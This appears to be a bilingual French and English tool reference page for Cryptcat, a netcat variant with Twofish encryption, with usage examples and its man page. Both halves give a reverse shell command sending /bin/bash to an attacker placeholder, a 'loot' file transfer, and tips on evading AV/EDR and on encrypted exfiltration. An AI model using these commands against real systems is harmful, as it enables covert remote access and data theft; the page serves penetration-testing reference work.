Cryptcat
Variante de netcat avec chiffrement Twofish intégré du flux de données, utilisée pour des shells chiffrés et du transfert de fichiers sans outillage externe. Netcat variant with built-in Twofish encryption for the data stream, used for encrypted shells and file transfer without external tooling.
↗ http://cryptcat.sourceforge.netOverview
Cryptcat is a lightweight fork of netcat that transparently encrypts traffic between endpoints using the Twofish cipher. It’s handy on engagements where you want an encrypted reverse/bind shell or file transfer channel without setting up SSH or TLS, using the same simple syntax as classic netcat.
Common Usage
Listener (attacker) — bind shell catcher
cryptcat -l -p 4444
Connect back with a shared secret key
cryptcat -l -p 4444 -k mysecretkey
Reverse shell (target)
cryptcat <attacker_ip> 4444 -e /bin/bash -k mysecretkey
File transfer — receiver
cryptcat -l -p 4444 -k mysecretkey > loot.zip
File transfer — sender
cryptcat <receiver_ip> 4444 -k mysecretkey < loot.zip
Quick port banner grab
cryptcat -v <target> 80
Tips
- Both ends must use the same
-kkey, or Cryptcat falls back to a default (well-known) key — don’t rely on that for real engagements - Traffic is still plaintext-shaped at the protocol level (no TLS handshake), so it can stand out to traffic-analysis tooling even though the payload is encrypted
- Useful on hosts where netcat is blocked/monitored but Cryptcat isn’t in the AV/EDR signature set, or where you need quick encrypted exfil without standing up infrastructure
Help / Man page
cryptcat [-options] hostname port[s] [ports] ...
cryptcat -l -p port [-options] [hostname] [port]
Options:
-e prog program to exec after connect
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k key encryption key (default key used if omitted)
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-u UDP mode
-v verbose (use twice for more)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)
Vue d’ensemble
Cryptcat est un fork léger de netcat qui chiffre de façon transparente le trafic entre les extrémités avec le cipher Twofish. Il est pratique en mission quand vous voulez un reverse/bind shell chiffré ou un canal de transfert de fichiers sans mettre en place SSH ou TLS, avec la même syntaxe simple que le netcat classique.
Utilisation courante
# Listener (attaquant) : récepteur de bind shell
cryptcat -l -p 4444
# Se connecter en retour avec une clé secrète partagée
cryptcat -l -p 4444 -k mysecretkey
# Reverse shell (cible)
cryptcat <attacker_ip> 4444 -e /bin/bash -k mysecretkey
# Transfert de fichiers : récepteur
cryptcat -l -p 4444 -k mysecretkey > loot.zip
# Transfert de fichiers : émetteur
cryptcat <receiver_ip> 4444 -k mysecretkey < loot.zip
# Récupération rapide de bannière de port
cryptcat -v <target> 80
Conseils
- Les deux extrémités doivent utiliser la même clé
-k, sinon Cryptcat retombe sur une clé par défaut (bien connue) : ne comptez pas dessus pour de vraies missions - Le trafic conserve la forme d’un protocole en clair (pas de handshake TLS), donc il peut ressortir aux outils d’analyse de trafic même si la charge utile est chiffrée
- Utile sur les hôtes où netcat est bloqué/surveillé mais où Cryptcat n’est pas dans les signatures AV/EDR, ou quand vous avez besoin d’une exfil chiffrée rapide sans monter d’infrastructure
Aide / Page de manuel
cryptcat [-options] hostname port[s] [ports] ...
cryptcat -l -p port [-options] [hostname] [port]
Options:
-e prog program to exec after connect
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k key encryption key (default key used if omitted)
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-u UDP mode
-v verbose (use twice for more)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)